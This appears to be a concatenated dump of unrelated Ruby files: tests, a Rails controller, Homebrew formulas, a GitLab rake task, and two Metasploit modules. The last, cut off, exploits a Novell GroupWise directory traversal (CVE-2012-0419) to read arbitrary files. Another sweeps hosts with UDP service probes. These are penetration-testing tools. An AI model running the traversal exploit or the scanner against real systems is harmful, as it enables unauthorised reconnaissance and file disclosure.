.to be_a(DarkPrism::Config::MainConfig)
end
it 'returns a GcloudConfig instance' do
expect(Google::Cloud::Pubsub).to receive(:new).with({ project: 'project_id', keyfile: 'credentials' }).and_return(true)
expect(
DarkPrism::Config::MainConfig.instance.gcloud do |c|
c.project_id = 'project_id'
c.credentials = 'credentials'
end
)
.to be_a(DarkPrism::Config::GcloudConfig)
end
it 'returns a singleton' do
expect(instance)
.to eq(instance)
end
it 'initializes an instance of DarkPrism::Dispatcher' do
expect(DarkPrism).not_to be nil
expect(instance.dispatcher)
.to be_a(DarkPrism::Dispatcher)
end
describe '.configure' do
it 'invokes instance methods when passed a block' do
expect(instance)
.to receive(:register_listeners).with(SampleListeners).once
DarkPrism::Config::MainConfig.configure do |config|
config.register_listeners(SampleListeners)
end
end
end
describe 'remove_logger!' do
it 'sets the logger to nil' do
instance.send :remove_logger!
expect(instance.logger).to be_nil
instance.logger = Logger.new(STDOUT)
end
end
describe 'logger' do
it 'uses a STDOUT logger by default' do
expect(instance.logger.class).to eq(Logger)
end
it 'uses Rails.logger if defined' do
class Rails
@logger = nil
class << self
attr_accessor :logger
end
end
logger = Logger.new(STDOUT)
Rails.logger = logger
instance.send :remove_logger!
instance.send(:init_logger)
expect(instance.logger).to eq(logger)
Object.send :remove_const, :Rails
end
end
describe 'sentry' do
it 'does disables sentry by default' do
expect(instance.enable_sentry).to be_falsey
end
it 'enables sentry' do
instance.send :enable_sentry=, true
expect(instance.enable_sentry).to be_truthy
end
end
end
| 24.908046 | 123 | 0.666359 |
b9fb1e40d003642382920ee76c6589e6a956763a | 366 | class Segment
attr_accessor :key, :translation, :language
def initialize(key, translation, language)
@key = key
if translation.nil?
puts 'empty translation of key:' + key
@translation = ''
else
@translation = translation.replace_escaped
end
@language = language
end
def is_comment?
@key == nil
end
end | 17.428571 | 48 | 0.631148 |
7a15dd1ae8b6f24654a523644e4d52ae5280d7a0 | 333 | # encoding: UTF-8
# frozen_string_literal: true
# This file is auto-generated from the current state of VCS.
# Instead of editing this file, please use bin/gendocs.
module Peatio
class Application
GIT_TAG = '2.3.33'
GIT_SHA = '821321f'
BUILD_DATE = '2019-09-18 16:47:34+00:00'
VERSION = GIT_TAG
end
end
| 23.785714 | 60 | 0.684685 |
ff4e00df83f8edc75d8084756dde4528587eb55a | 1,787 | class AuthTokensController < ApplicationController
before_action :set_auth_token, only: [:show, :edit, :update, :destroy]
authorize_resource only: [:new, :edit, :create, :update, :destroy]
# GET /auth_tokens
# GET /auth_tokens.json
def index
@auth_tokens = AuthToken.all
end
# GET /auth_tokens/1
# GET /auth_tokens/1.json
def show
end
# GET /auth_tokens/new
def new
@auth_token = AuthToken.new
end
# GET /auth_tokens/1/edit
def edit
end
# POST /auth_tokens
# POST /auth_tokens.json
def create
@auth_token = AuthToken.new(auth_token_params)
respond_to do |format|
@auth_token.save
format.html { redirect_to @auth_token, notice: 'Auth token was successfully created.' }
format.json { render :show, status: :created, location: @auth_token }
end
end
# PATCH/PUT /auth_tokens/1
# PATCH/PUT /auth_tokens/1.json
def update
respond_to do |format|
@auth_token.update(auth_token_params)
format.html { redirect_to @auth_token, notice: 'Auth token was successfully updated.' }
format.json { render :show, status: :ok, location: @auth_token }
end
end
# DELETE /auth_tokens/1
# DELETE /auth_tokens/1.json
def destroy
@auth_token.destroy
respond_to do |format|
format.html { redirect_to auth_tokens_url, notice: 'Auth token was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_auth_token
@auth_token = AuthToken.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def auth_token_params
params.require(:auth_token).permit(:label, groups: [])
end
end
| 25.898551 | 99 | 0.691102 |
e844a2f719064c2e014190b7f7cfdd1107ca502f | 440 | class User < ActiveRecord::Base
# Include default devise modules. Others available are:
# :confirmable, :lockable, :timeoutable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :trackable, :validatable
# Setup accessible (or protected) attributes for your model
attr_accessible :email, :password, :password_confirmation, :remember_me
# attr_accessible :title, :body
end
| 36.666667 | 73 | 0.761364 |
7ac5b1c0c3e2e1fcc96de5b3736cba8f15b24e17 | 10,107 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'openssl'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
def initialize
super(
'Name' => 'UDP Service Sweeper',
'Version' => '$Revision$',
'Description' => 'Detect interesting UDP services',
'Author' => 'hdm',
'License' => MSF_LICENSE
)
register_advanced_options(
[
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
], self.class)
# Intialize the probes array
@probes = []
# Add the UDP probe method names
@probes << 'probe_pkt_dns'
@probes << 'probe_pkt_netbios'
@probes << 'probe_pkt_portmap'
@probes << 'probe_pkt_mssql'
@probes << 'probe_pkt_ntp'
@probes << 'probe_pkt_snmp1'
@probes << 'probe_pkt_snmp2'
@probes << 'probe_pkt_sentinel'
@probes << 'probe_pkt_db2disco'
@probes << 'probe_pkt_citrix'
@probes << 'probe_pkt_pca_st'
@probes << 'probe_pkt_pca_nq'
end
def setup
super
if datastore['RANDOMIZE_PORTS']
@probes = @probes.sort_by { rand }
end
end
def scanner_prescan(batch)
print_status("Sending #{@probes.length} probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
end
def scan_host(ip)
@probes.each do |probe|
data, port = self.send(probe, ip)
scanner_send(data, ip, port)
end
end
def scanner_postscan(batch)
@results.each_key do |k|
next if not @results[k].respond_to?('keys')
data = @results[k]
conf = {
:host => data[:host],
:port => data[:port],
:proto => 'udp',
:name => data[:app],
:info => data[:info]
}
if data[:hname]
conf[:host_name] = data[:hname].downcase
end
if data[:mac]
conf[:mac] = data[:mac].downcase
end
report_service(conf)
print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
end
end
def scanner_process(data, shost, sport)
hkey = "#{shost}:#{sport}"
app = 'unknown'
inf = ''
maddr = nil
hname = nil
# Work with protocols that return different data in different packets
# These are reported at the end of the scanning loop to build state
case sport
when 5632
@results[hkey] ||= {}
data = @results[hkey]
data[:app] = "pcAnywhere_stat"
data[:port] = sport
data[:host] = shost
case data
when /^NR(........................)(........)/
name = $1.dup
caps = $2.dup
name = name.gsub(/_+$/, '').gsub("\x00", '').strip
caps = caps.gsub(/_+$/, '').gsub("\x00", '').strip
data[:name] = name
data[:caps] = caps
when /^ST(.+)/
buff = $1.dup
stat = 'Unknown'
if buff[2,1].unpack("C")[0] == 67
stat = "Available"
end
if buff[2,1].unpack("C")[0] == 11
stat = "Busy"
end
data[:stat] = stat
end
if data[:name]
inf << "Name: #{data[:name]} "
end
if data[:stat]
inf << "- #{data[:stat]} "
end
if data[:caps]
inf << "( #{data[:caps]} ) "
end
data[:info] = inf
end
# Ignore duplicates
return if @results[hkey]
case sport
when 53
app = 'DNS'
ver = nil
if (not ver and data =~ /([6789]\.[\w\.\-_\:\(\)\[\]\/\=\+\|\{\}]+)/i)
ver = 'BIND ' + $1
end
ver = 'Microsoft DNS' if (not ver and data[2,4] == "\x81\x04\x00\x01")
ver = 'TinyDNS' if (not ver and data[2,4] == "\x81\x81\x00\x01")
ver = data.unpack('H*')[0] if not ver
inf = ver if ver
@results[hkey] = true
when 137
app = 'NetBIOS'
buff = data.dup
head = buff.slice!(0,12)
xid, flags, quests, answers, auths, adds = head.unpack('n6')
return if quests != 0
return if answers == 0
qname = buff.slice!(0,34)
rtype,rclass,rttl,rlen = buff.slice!(0,10).unpack('nnNn')
bits = buff.slice!(0,rlen)
names = []
case rtype
when 0x21
rcnt = bits.slice!(0,1).unpack("C")[0]
1.upto(rcnt) do
tname = bits.slice!(0,15).gsub(/\x00.*/, '').strip
ttype = bits.slice!(0,1).unpack("C")[0]
tflag = bits.slice!(0,2).unpack('n')[0]
names << [ tname, ttype, tflag ]
end
maddr = bits.slice!(0,6).unpack("C*").map{|c| "%.2x" % c }.join(":")
names.each do |name|
inf << name[0]
inf << ":<%.2x>" % name[1]
if (name[2] & 0x8000 == 0)
inf << ":U :"
else
inf << ":G :"
end
end
inf << maddr
if(names.length > 0)
hname = names[0][0]
end
end
@results[hkey] = true
when 111
app = 'Portmap'
buf = data
inf = ""
hed = buf.slice!(0,24)
svc = []
while(buf.length >= 20)
rec = buf.slice!(0,20).unpack("N5")
svc << "#{rec[1]} v#{rec[2]} #{rec[3] == 0x06 ? "TCP" : "UDP"}(#{rec[4]})"
report_service(
:host => shost,
:port => rec[4],
:proto => (rec[3] == 0x06 ? "tcp" : "udp"),
:name => "sunrpc",
:info => "#{rec[1]} v#{rec[2]}",
:state => "open"
)
end
inf = svc.join(", ")
@results[hkey] = true
when 123
app = 'NTP'
ver = nil
ver = data.unpack('H*')[0]
ver = 'NTP v3' if (ver =~ /^1c06|^1c05/)
ver = 'NTP v4' if (ver =~ /^240304/)
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
inf = ver if ver
@results[hkey] = true
when 1434
app = 'MSSQL'
mssql_ping_parse(data).each_pair { |k,v|
inf += k+'='+v+' '
}
@results[hkey] = true
when 161
app = 'SNMP'
asn = OpenSSL::ASN1.decode(data) rescue nil
return if not asn
snmp_error = asn.value[0].value rescue nil
snmp_comm = asn.value[1].value rescue nil
snmp_data = asn.value[2].value[3].value[0] rescue nil
snmp_oid = snmp_data.value[0].value rescue nil
snmp_info = snmp_data.value[1].value rescue nil
return if not (snmp_error and snmp_comm and snmp_data and snmp_oid and snmp_info)
snmp_info = snmp_info.to_s.gsub(/\s+/, ' ')
inf = snmp_info
com = snmp_comm
@results[hkey] = true
when 5093
app = 'Sentinel'
@results[hkey] = true
when 523
app = 'ibm-db2'
inf = db2disco_parse(data)
@results[hkey] = true
when 1604
app = 'citrix-ica'
return unless citrix_parse(data)
@results[hkey] = true
end
report_service(
:host => shost,
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
:host_name => (hname) ? hname.downcase : nil,
:port => sport,
:proto => 'udp',
:name => app,
:info => inf,
:state => "open"
)
print_status("Discovered #{app} on #{shost}:#{sport} (#{inf})")
end
#
# Parse a db2disco packet.
#
def db2disco_parse(data)
res = data.split("\x00")
"#{res[2]}_#{res[1]}"
end
#
# Validate this is truly Citrix ICA; returns true or false.
#
def citrix_parse(data)
server_response = "\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44" # Server hello response
data =~ /^#{server_response}/
end
#
# Parse a 'ping' response and format as a hash
#
def mssql_ping_parse(data)
res = {}
var = nil
idx = data.index('ServerName')
return res if not idx
data[idx, data.length-idx].split(';').each do |d|
if (not var)
var = d
else
if (var.length > 0)
res[var] = d
var = nil
end
end
end
return res
end
#
# The probe definitions
#
def probe_pkt_dns(ip)
data = [rand(0xffff)].pack('n') +
"\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"+
"\x07"+ "VERSION"+
"\x04"+ "BIND"+
"\x00\x00\x10\x00\x03"
return [data, 53]
end
def probe_pkt_netbios(ip)
data =
[rand(0xffff)].pack('n')+
"\x00\x00\x00\x01\x00\x00\x00\x00"+
"\x00\x00\x20\x43\x4b\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x41\x41\x41\x41\x41"+
"\x41\x41\x41\x00\x00\x21\x00\x01"
return [data, 137]
end
def probe_pkt_portmap(ip)
data =
[
rand(0xffffffff), # XID
0, # Type
2, # RPC Version
100000, # Program ID
2, # Program Version
4, # Procedure
0, 0, # Credentials
0, 0, # Verifier
].pack('N*')
return [data, 111]
end
def probe_pkt_mssql(ip)
return ["\x02", 1434]
end
def probe_pkt_ntp(ip)
data =
"\xe3\x00\x04\xfa\x00\x01\x00\x00\x00\x01\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xc5\x4f\x23\x4b\x71\xb1\x52\xf3"
return [data, 123]
end
def probe_pkt_sentinel(ip)
return ["\x7a\x00\x00\x00\x00\x00", 5093]
end
def probe_pkt_snmp1(ip)
name = 'public'
xid = rand(0x100000000)
pdu =
"\x02\x01\x00" +
"\x04" + [name.length].pack('c') + name +
"\xa0\x1c" +
"\x02\x04" + [xid].pack('N') +
"\x02\x01\x00" +
"\x02\x01\x00" +
"\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01" +
"\x01\x01\x00\x05\x00"
head = "\x30" + [pdu.length].pack('C')
data = head + pdu
[data, 161]
end
def probe_pkt_snmp2(ip)
name = 'public'
xid = rand(0x100000000)
pdu =
"\x02\x01\x01" +
"\x04" + [name.length].pack('c') + name +
"\xa1\x19" +
"\x02\x04" + [xid].pack('N') +
"\x02\x01\x00" +
"\x02\x01\x00" +
"\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01" +
"\x05\x00"
head = "\x30" + [pdu.length].pack('C')
data = head + pdu
[data, 161]
end
def probe_pkt_db2disco(ip)
data = "DB2GETADDR\x00SQL05000\x00"
[data, 523]
end
def probe_pkt_citrix(ip) # Server hello packet from citrix_published_bruteforce
data =
"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00"
return [data, 1604]
end
def probe_pkt_pca_st(ip)
return ["ST", 5632]
end
def probe_pkt_pca_nq(ip)
return ["NQ", 5632]
end
end
| 21.413136 | 103 | 0.565845 |
62ea522cdef6fda0b1747b4f3298533d07c2dce8 | 373 | require 'test/unit'
require 'jr/cli/core_ext/enumerator'
class EnumerableTest < Test::Unit::TestCase
sub_test_case '#size' do
test 'returns number of elements' do
enumerator = Enumerator.new do |yielder|
yielder.yield 1
yielder.yield 2
yielder.yield 3
end
assert do
enumerator.size == 3
end
end
end
end
| 19.631579 | 46 | 0.635389 |
8702d7649cfcbe87af5a97cabf5541e14913a73d | 1,495 | class Hadolint < Formula
desc "Smarter Dockerfile linter to validate best practices"
homepage "https://github.com/hadolint/hadolint"
url "https://github.com/hadolint/hadolint/archive/v1.22.1.tar.gz"
sha256 "d24080c9960da00c7d2409d51d0bbe8b986e86be345ed7410d6ece2899e7ac01"
license "GPL-3.0-only"
bottle do
sha256 cellar: :any_skip_relocation, big_sur: "b6679a357d790e8ebfd6d00d289556302464f63616795a27fdc16988c06c31d2"
sha256 cellar: :any_skip_relocation, catalina: "a069721e3b70d7c9ef7c4689fc586201aa1890e73ab85e3769a62825011fb265"
sha256 cellar: :any_skip_relocation, mojave: "8add1911472e40307e1d5e2dd21d2a5154616e5dbc43f0fa339baf53d8466cee"
sha256 cellar: :any_skip_relocation, x86_64_linux: "d3060f651b65a8bd3213b1378ba753cd76fdea01b5e5937ba57d0fb43b97f859"
end
depends_on "ghc" => :build
depends_on "haskell-stack" => :build
uses_from_macos "xz"
on_linux do
depends_on "gmp"
end
def install
unless OS.mac?
gmp = Formula["gmp"]
ENV.prepend_path "LD_LIBRARY_PATH", gmp.lib
ENV.prepend_path "LIBRARY_PATH", gmp.lib
end
# Let `stack` handle its own parallelization
jobs = ENV.make_jobs
ENV.deparallelize
system "stack", "-j#{jobs}", "build"
system "stack", "-j#{jobs}", "--local-bin-path=#{bin}", "install"
end
test do
df = testpath/"Dockerfile"
df.write <<~EOS
FROM debian
EOS
assert_match "DL3006", shell_output("#{bin}/hadolint #{df}", 1)
end
end
| 31.808511 | 121 | 0.729097 |
e9169676c6246bfdd231b40b2a6bc2583bef627f | 326 | # frozen_string_literal: true
require "spec_helper"
RSpec.describe UntilGlobalExpiredJob do
it_behaves_like "sidekiq with options" do
let(:options) do
{
"retry" => true,
"lock" => :until_expired,
}
end
end
it_behaves_like "a performing worker" do
let(:args) { "one" }
end
end
| 18.111111 | 43 | 0.638037 |
87030ebc75ce84355cfc725f63225d0c1dfbc994 | 891 | class Lib3ds < Formula
desc "Library for managing 3D-Studio Release 3 and 4 '.3DS' files"
homepage "https://code.google.com/p/lib3ds/"
url "https://lib3ds.googlecode.com/files/lib3ds-1.3.0.zip"
sha256 "f5b00c302955a67fa5fb1f2d3f2583767cdc61fdbc6fd843c0c7c9d95c5629e3"
bottle do
cellar :any
revision 1
sha256 "33f5b51953a8d4a583c7d5d6a7796ffaaccf8bf6a303fac300bfdb76dcd0ad60" => :yosemite
sha256 "3faa2167b32ab4fba667c2fc1d1131411fc3765c7e32a220b16aa62ee433d930" => :mavericks
sha256 "d508b861035a3e6a91e90f3bcd89fd43c50ed6d07f365a75061f83d4af863379" => :mountain_lion
end
def install
system "./configure", "--prefix=#{prefix}", "--disable-dependency-tracking"
system "make", "install"
end
test do
# create a raw emtpy 3ds file.
(testpath/"test.3ds").write("\x4d\x4d\x06\x00\x00\x00")
system "#{bin}/3dsdump", "test.3ds"
end
end
| 34.269231 | 95 | 0.741863 |
ac712234b27c55b4995c598edea5ad5893983c6e | 1,607 | namespace :gitlab do
namespace :app do
desc "GITLAB | Check gitlab installation status"
task :status => :environment do
puts "Starting diagnostic"
git_base_path = Gitlab.config.git_base_path
print "config/database.yml............"
if File.exists?(File.join Rails.root, "config", "database.yml")
puts "exists".green
else
puts "missing".red
return
end
print "config/gitlab.yml............"
if File.exists?(File.join Rails.root, "config", "gitlab.yml")
puts "exists".green
else
puts "missing".red
return
end
print "#{git_base_path}............"
if File.exists?(git_base_path)
puts "exists".green
else
puts "missing".red
return
end
print "#{git_base_path} is writable?............"
if File.stat(git_base_path).writable?
puts "YES".green
else
puts "NO".red
return
end
begin
`git clone #{Gitlab.config.gitolite_admin_uri} /tmp/gitolite_gitlab_test`
FileUtils.rm_rf("/tmp/gitolite_gitlab_test")
print "Can clone gitolite-admin?............"
puts "YES".green
rescue
print "Can clone gitolite-admin?............"
puts "NO".red
return
end
print "UMASK for .gitolite.rc is 0007? ............"
unless open("#{git_base_path}/../.gitolite.rc").grep(/REPO_UMASK = 0007/).empty?
puts "YES".green
else
puts "NO".red
return
end
puts "\nFinished"
end
end
end
| 25.507937 | 86 | 0.546982 |
ed59ee179b9db21ecb4b2ebafc278c7b1760e7fd | 189 | require 'spec_helper_acceptance'
describe 'cis_hardening__accounts class' do
context 'default parameters' do
it 'behaves idempotently' do
idempotent_apply(pp)
end
end
end | 21 | 43 | 0.756614 |
6206e3a20b3d3e65758f0e8eb1753a62297ed3b7 | 1,465 | # encoding: utf-8
# This file is autogenerated. Do not edit it manually.
# If you want change the content of this file, edit
#
# /spec/fixtures/responses/whois.afilias-grs.info/bz/status_available.expected
#
# and regenerate the tests with the following rake task
#
# $ rake spec:generate
#
require 'spec_helper'
describe "whois.afilias-grs.info", :aggregate_failures do
subject do
file = fixture("responses", "whois.afilias-grs.info/bz/status_available.txt")
part = Whois::Record::Part.new(body: File.read(file), host: "whois.afilias-grs.info")
Whois::Parser.parser_for(part)
end
it "matches status_available.expected" do
expect(subject.disclaimer).to eq(nil)
expect(subject.domain).to eq(nil)
expect(subject.domain_id).to eq(nil)
expect(subject.status).to eq([])
expect(subject.available?).to eq(true)
expect(subject.registered?).to eq(false)
expect(subject.created_on).to eq(nil)
expect(subject.updated_on).to eq(nil)
expect(subject.expires_on).to eq(nil)
expect(subject.registrar).to eq(nil)
expect(subject.registrant_contacts).to be_a(Array)
expect(subject.registrant_contacts).to eq([])
expect(subject.admin_contacts).to be_a(Array)
expect(subject.admin_contacts).to eq([])
expect(subject.technical_contacts).to be_a(Array)
expect(subject.technical_contacts).to eq([])
expect(subject.nameservers).to be_a(Array)
expect(subject.nameservers).to eq([])
end
end
| 33.295455 | 89 | 0.724232 |
28e13a556125a4bb1c7ce18a3c7d0bc9bffa774e | 1,696 | CapybaraScreenshotTest::Application.configure do
# Settings specified here will take precedence over those in config/application.rb
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test suite and is wiped
# and recreated between test runs. Don't rely on the data there!
config.cache_classes = true
# Configure static asset server for tests with Cache-Control for performance
config.serve_static_assets = true
config.static_cache_control = "public, max-age=3600"
# Log error messages when you accidentally call methods on nil
config.whiny_nils = true
# Show full error reports and disable caching
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
# Raise exceptions instead of rendering exception templates
config.action_dispatch.show_exceptions = false
# Disable request forgery protection in test environment
config.action_controller.allow_forgery_protection = false
# Tell Action Mailer not to deliver emails to the real world.
# The :test delivery method accumulates sent emails in the
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
# Use SQL instead of Active Record's schema dumper when creating the test database.
# This is necessary if your schema can't be completely dumped by the schema dumper,
# like if you have constraints or database-specific column types
# config.active_record.schema_format = :sql
# Print deprecation notices to the stderr
config.active_support.deprecation = :stderr
end
| 42.4 | 85 | 0.78066 |
917a11a0ac6b7961dfdf0dd8af13280791973b2b | 710 | require "configurations"
require 'require_all'
require "ruflow/version"
require "ruflow/type_checker"
require "ruflow/action"
require "ruflow/flow"
require "ruflow/error/bad_return"
require "ruflow/error/mismatch_input_type"
require "ruflow/error/mismatch_output_type"
require "ruflow/error/mismatch_output_input_type"
require "ruflow/error/output_port_not_defined"
module Ruflow
include Configurations
configurable :components_folder
class << self
def config
configuration
end
def setup(&block)
Ruflow.configure(&block)
autoload_all "#{Dir.pwd}/#{config.components_folder}/actions"
autoload_all "#{Dir.pwd}/#{config.components_folder}/flows"
end
end
end
| 21.515152 | 67 | 0.760563 |
03b10a60484b18ffcdcb12f427dfcd13da620f20 | 4,310 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# Source: google/analytics/data/v1alpha/analytics_data_api.proto for package 'google.analytics.data.v1alpha'
# Original file comments:
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'grpc'
require 'google/analytics/data/v1alpha/analytics_data_api_pb'
module Google
module Analytics
module Data
module V1alpha
module AlphaAnalyticsData
# Google Analytics reporting data service.
class Service
include GRPC::GenericService
self.marshal_class_method = :encode
self.unmarshal_class_method = :decode
self.service_name = 'google.analytics.data.v1alpha.AlphaAnalyticsData'
# Returns a customized report of your Google Analytics event data. Reports
# contain statistics derived from data collected by the Google Analytics
# tracking code. The data returned from the API is as a table with columns
# for the requested dimensions and metrics. Metrics are individual
# measurements of user activity on your property, such as active users or
# event count. Dimensions break down metrics across some common criteria,
# such as country or event name.
rpc :RunReport, ::Google::Analytics::Data::V1alpha::RunReportRequest, ::Google::Analytics::Data::V1alpha::RunReportResponse
# Returns a customized pivot report of your Google Analytics event data.
# Pivot reports are more advanced and expressive formats than regular
# reports. In a pivot report, dimensions are only visible if they are
# included in a pivot. Multiple pivots can be specified to further dissect
# your data.
rpc :RunPivotReport, ::Google::Analytics::Data::V1alpha::RunPivotReportRequest, ::Google::Analytics::Data::V1alpha::RunPivotReportResponse
# Returns multiple reports in a batch. All reports must be for the same
# Entity.
rpc :BatchRunReports, ::Google::Analytics::Data::V1alpha::BatchRunReportsRequest, ::Google::Analytics::Data::V1alpha::BatchRunReportsResponse
# Returns multiple pivot reports in a batch. All reports must be for the same
# Entity.
rpc :BatchRunPivotReports, ::Google::Analytics::Data::V1alpha::BatchRunPivotReportsRequest, ::Google::Analytics::Data::V1alpha::BatchRunPivotReportsResponse
# Returns metadata for dimensions and metrics available in reporting methods.
# Used to explore the dimensions and metrics. In this method, a Google
# Analytics GA4 Property Identifier is specified in the request, and
# the metadata response includes Custom dimensions and metrics as well as
# Universal metadata.
#
# For example if a custom metric with parameter name `levels_unlocked` is
# registered to a property, the Metadata response will contain
# `customEvent:levels_unlocked`. Universal metadata are dimensions and
# metrics applicable to any property such as `country` and `totalUsers`.
rpc :GetMetadata, ::Google::Analytics::Data::V1alpha::GetMetadataRequest, ::Google::Analytics::Data::V1alpha::Metadata
# The Google Analytics Realtime API returns a customized report of realtime
# event data for your property. These reports show events and usage from the
# last 30 minutes.
rpc :RunRealtimeReport, ::Google::Analytics::Data::V1alpha::RunRealtimeReportRequest, ::Google::Analytics::Data::V1alpha::RunRealtimeReportResponse
end
Stub = Service.rpc_stub_class
end
end
end
end
end
| 54.556962 | 168 | 0.695824 |
214a8f91462b2d66b6ef999cf31d437e0cd8ed20 | 272 | class CreateCategorizations < ActiveRecord::Migration[6.0]
def change
create_table :categorizations do |t|
t.references :article, null: false, foreign_key: true
t.references :category, null: false, foreign_key: true
t.timestamps
end
end
end
| 24.727273 | 60 | 0.709559 |
bb657d19684d4d8de2ca3658ca8abe6b330ab550 | 183 | Rails.application.routes.draw do
root 'top#show'
post 'mortor/control'
# For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html
end
| 30.5 | 102 | 0.759563 |
e8d9bd6f3b7e9703dfc831b6355e1e25a9409034 | 287 | Sequel.migration do
up do
drop_index :measure_components_oplog, :measure_sid
drop_index :measure_components_oplog, :duty_expression_id
end
down do
add_index :measure_components_oplog, :measure_sid
add_index :measure_components_oplog, :duty_expression_id
end
end
| 23.916667 | 61 | 0.794425 |
ede84161de3eee4ef5c23118ab78c7e6bbfabf65 | 1,874 | require File.expand_path("../../Abstract/abstract-php-extension", __FILE__)
class Php55Molten < AbstractPhp55Extension
init
desc "PHP extension for Molten"
homepage "https://github.com/chuan-yun/Molten"
url "https://github.com/chuan-yun/Molten/archive/v0.1.1.tar.gz"
sha256 "9502d915c406326ce16fc2bc428a04188c7d03da2fc95772baed0c6e284f1397"
revision 1
head "https://github.com/chuan-yun/Molten.git"
bottle do
cellar :any_skip_relocation
sha256 "cba641f55883b07d5cc1eee0cff1b121b23de5091bd29208708da1fe2e0aee71" => :high_sierra
sha256 "5e32b9e292886578fb2bfb17d1818ccbce3427378de33afe09c857786777d46e" => :sierra
sha256 "a7bd75825240b46ddf93327d97f13b74b978ef7036c6280b8811ec999955d678" => :el_capitan
end
option "without-zipkin", "Disable zipkin headers"
depends_on "php55-redis"
depends_on "php55-memcached"
depends_on "php55-mongodb"
def install
args = []
args << "--enable-zipkin-header=yes" if build.with? "zipkin"
safe_phpize
system "./configure", "--prefix=#{prefix}",
phpconfig,
*args
system "make"
prefix.install "modules/Molten.so"
write_config_file if build.with? "config-file"
end
def config_file
super + <<-EOS.undent
; Molten is transparency tool for application tracing it self module call.
; It trace php app core call and output zipkin/opentracing format trace log.
; Provides features about muliti trace sapi, multi sampling type,
; upload tracing status, module control and muliti sink type.
; get more details see: https://github.com/chuan-yun/Molten and then configure below
[molten]
molten.enable=1
molten.sink_type=4
molten.tracing_cli=0
molten.sink_http_uri=http://127.0.0.1:9411/api/v1/spans
molten.service_name=php_test
molten.sampling_rate=1
EOS
end
end
| 33.464286 | 93 | 0.723052 |
bb7002ae95142a5ab6ecc5bef5b7d19173107b10 | 953 | require "forwardable"
module Rucc
class FileIOList
extend Forwardable
# @param [FileIO] file
def initialize(file)
@files = [file]
@stashed = [] # buffer for stashed files
end
delegate [:push, :first, :last] => :@files
# @return [FileIO]
def current
@files.last
end
# @return [Char, NilClass]
def readc
while true
c = current.readc
if !c.nil? # not EOF
return c
end
if @files.size == 1
return c
end
f = @files.pop
f.close
next
end
raise "Must not reach here!"
end
# @param [Char, NilClass]
def unreadc(c)
current.unreadc(c)
end
# @param [<FileIO>] files
def stream_stash(files)
@stashed.push(@files)
@files = files
end
def stream_unstash
@files = @stashed.pop
end
def stream_depth
@files.size
end
end
end
| 16.719298 | 47 | 0.534103 |
ffb03b0838da9befad2dcf9cebd7edf1d8a3e2db | 2,479 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell Groupwise Agents HTTP Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in Novell Groupwise.
The vulnerability exists in the web interface of both the Post Office and the
MTA agents. This module has been tested successfully on Novell Groupwise 8.02 HP2
over Windows 2003 SP2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'r () b13$', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0419' ],
[ 'OSVDB', '85801' ],
[ 'BID', '55648' ],
[ 'URL', 'https://support.microfocus.com/kb/doc.php?id=7010772' ]
]
))
register_options(
[
Opt::RPORT(7181), # Also 7180 can be used
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 10])
])
end
def is_groupwise?
res = send_request_raw({'uri'=>'/'})
if res and res.headers['Server'].to_s =~ /GroupWise/
return true
else
return false
end
end
def run_host(ip)
if not is_groupwise?
vprint_error("#{rhost}:#{rport} - This isn't a GroupWise Agent HTTP Interface")
return
end
travs = ""
travs << "../" * datastore['DEPTH']
travs = normalize_uri("/help/", travs, datastore['FILEPATH'])
vprint_status("#{rhost}:#{rport} - Sending request...")
res = send_request_cgi({
'uri' => travs,
'method' => 'GET',
})
if res and res.code == 200
contents = res.body
